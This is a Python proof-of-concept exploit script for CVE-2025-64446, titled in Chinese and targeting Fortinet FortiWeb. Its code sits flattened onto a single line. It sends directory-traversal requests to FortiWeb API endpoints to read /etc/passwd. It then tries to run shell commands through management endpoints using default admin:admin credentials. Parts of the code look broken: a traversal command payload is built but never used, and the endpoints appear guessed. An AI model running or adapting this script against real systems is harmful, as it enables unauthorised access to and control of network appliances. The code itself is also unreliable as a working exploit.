CVE-2025-64446 FortiWeb路径遍历漏洞导致远程命令执行

import requests import sys # CVE-2025-64446 PoC - FortiWeb Path Traversal leading to RCE # Target: Fortinet FortiWeb < 7.0.12, < 7.2.12, < 7.4.10, < 7.6.5, < 8.0.2 def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-64446""" # Path traversal payload to access /etc/passwd path_traversal_payload = "../../../../etc/passwd" # Common FortiWeb management endpoints endpoints = [ "/api/v2.0/cmdb/system/admin", "/api/v2.0/cmdb/log/attack-log", "/api/v2.0/cmdb/waf/profile", "/api/v2.0/cmdb/server-policy/connection", "/api/v2.0/cmdb/system/global" ] headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-64446-PoC)", "Accept": "application/json" } print(f"[*] Testing target: {target_url}") print(f"[*] Vulnerability: CVE-2025-64446 (Path Traversal in FortiWeb)") for endpoint in endpoints: url = f"{target_url}{endpoint}/{path_traversal_payload}" try: response = requests.get(url, headers=headers, timeout=10, verify=False) # Check for successful file access (path traversal successful) if response.status_code == 200 and "root:" in response.text: print(f"[!] VULNERABLE: {endpoint}") print(f"[+] Leaked content:\n{response.text[:500]}") return True elif response.status_code == 200: print(f"[+] Potential path traversal at {endpoint}") print(f"[+] Response length: {len(response.text)}") except requests.RequestException as e: print(f"[-] Error testing {endpoint}: {e}") print("[*] No obvious path traversal detected (may require authentication)") return False def exploit_rce(target_url, cmd="whoami"): """Attempt to execute commands via FortiWeb management interface""" # Command injection through path traversal exploit_payload = f"../../../../..{cmd}" # FortiWeb CLI API endpoint endpoints = [ "/api/v2.0/cli", "/api/v2.0/cmdb/system/console", "/api/v2.0/exec" ] headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/json", "Authorization": "Basic YWRtaW46YWRtaW4=" # admin:admin (default) } data = {"command": cmd} for endpoint in endpoints: try: url = f"{target_url}{endpoint}" response = requests.post(url, json=data, headers=headers, timeout=10, verify=False) if response.status_code == 200: print(f"[!] Command execution successful via {endpoint}") print(f"[+] Output: {response.text}") return True except requests.RequestException: pass print("[-] RCE attempt failed (may require authentication or different endpoint)") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-64446.py <target_url>") print("Example: python cve-2025-64446.py https://fortiweb.example.com") sys.exit(1) target = sys.argv[1].rstrip('/') check_vulnerability(target)